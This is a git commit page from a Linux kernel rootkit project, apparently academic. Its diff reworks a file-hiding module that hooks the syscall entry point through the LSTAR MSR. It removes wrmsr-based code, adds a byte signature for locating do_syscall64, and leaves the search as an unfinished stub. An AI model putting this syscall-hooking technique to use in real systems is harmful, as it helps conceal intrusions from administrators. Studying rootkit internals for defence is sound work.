linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit b8b58fd70066d4aa9f0ba4d550c449de4acc78cb
parent b50afcec9a9f59de01bd9d9de6a839662bd13eda
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date:   Wed,  6 Jan 2021 17:33:58 +0100

Very WIP beginnings of new approach

Diffstat:
Msrc/filehide_lstar.c | 71+++++++++++++++++++++++++++++++++++++++--------------------------------
1 file changed, 39 insertions(+), 32 deletions(-)

diff --git a/src/filehide_lstar.c b/src/filehide_lstar.c @@ -1,37 +1,44 @@ #include <linux/kernel.h> +#include <linux/string.h> #include <asm/nospec-branch.h> #include <asm/msr-index.h> #include "filehide_lstar.h" #include "common.h" -static unsigned long read_msr(unsigned int msr); -static void write_msr(unsigned int low, unsigned int high, unsigned int msr); -static void hooked_lstar(void); +#define SEARCHLEN 4096 -unsigned long lstar_addr; +//This signature entails the register clearing and setup before the call (opcode e8); what follows is the offset for do_syscall64. +//Should definitely be unique enough for the limited amount of bytes we search as even +//$ hexdump -C vmlinux | grep -A 2 "31 ff 48 89 c7" only results in two matches for the whole kernel image +static char sig[20] = {0x45, 0x31, 0xe4, 0x45, 0x31, 0xed, 0x45, 0x31, 0xf6, 0x45, 0x31, 0xff, 0x48, 0x89, 0xc7, 0x48, 0x89, 0xe6, 0xe8, 0x00}; + +static unsigned long read_msr(unsigned int); +static char *find_do_syscall64(char *lstar_addr); + +void g7_syscall_64(unsigned long, struct pt_regs *); +void (*do_syscall64)(unsigned long, struct pt_regs *); void test_lstar(void) -{ - lstar_addr = read_msr(MSR_LSTAR); - DEBUG_INFO("LSTAR before is %0lx\n", lstar_addr); - lstar_addr += 6; - - unsigned int low = (int)((unsigned long) lstar_addr & 0xFFFFFFFF); - unsigned int high = (int)((unsigned long) lstar_addr >> 32); +{ + char *lstar_addr = (char *)read_msr(MSR_LSTAR); + + char *syscall64_base = find_do_syscall64(lstar_addr); +} - write_msr((low + 4), high, MSR_LSTAR); - DEBUG_INFO("LSTAR after is %0lx\n", read_msr(MSR_LSTAR)); +static char * +find_do_syscall64(char *lstar_addr) +{ + //parse asm and find sig + return NULL; } -static void -hooked_lstar(void) +void +g7_syscall_64(unsigned long nr, struct pt_regs *regs) { - __asm__ volatile ( - "\tjmp *%0\n" - :: "m"(lstar_addr)); + do_syscall64(nr, regs); } static unsigned long @@ -57,16 +64,16 @@ read_msr(unsigned int msr) return ret; } -static void -write_msr(unsigned int low, unsigned int high, unsigned int msr) -{ - __asm__ volatile ( - "movl $0xc0000082, %%ecx\n\t" - "mov %[low], %%eax\n\t" - "mov %[high], %%edx\n\t" - "wrmsr" - : - : [low] "r" (low), [high] "r" (high) - : "ecx", "eax", "edx" - ); -} -\ No newline at end of file +// static void +// write_msr(unsigned int low, unsigned int high, unsigned int msr) +// { +// __asm__ volatile ( +// "movl $0xc0000082, %%ecx\n\t" +// "mov %[low], %%eax\n\t" +// "mov %[high], %%edx\n\t" +// "wrmsr" +// : +// : [low] "r" (low), [high] "r" (high) +// : "ecx", "eax", "edx" +// ); +// } +\ No newline at end of file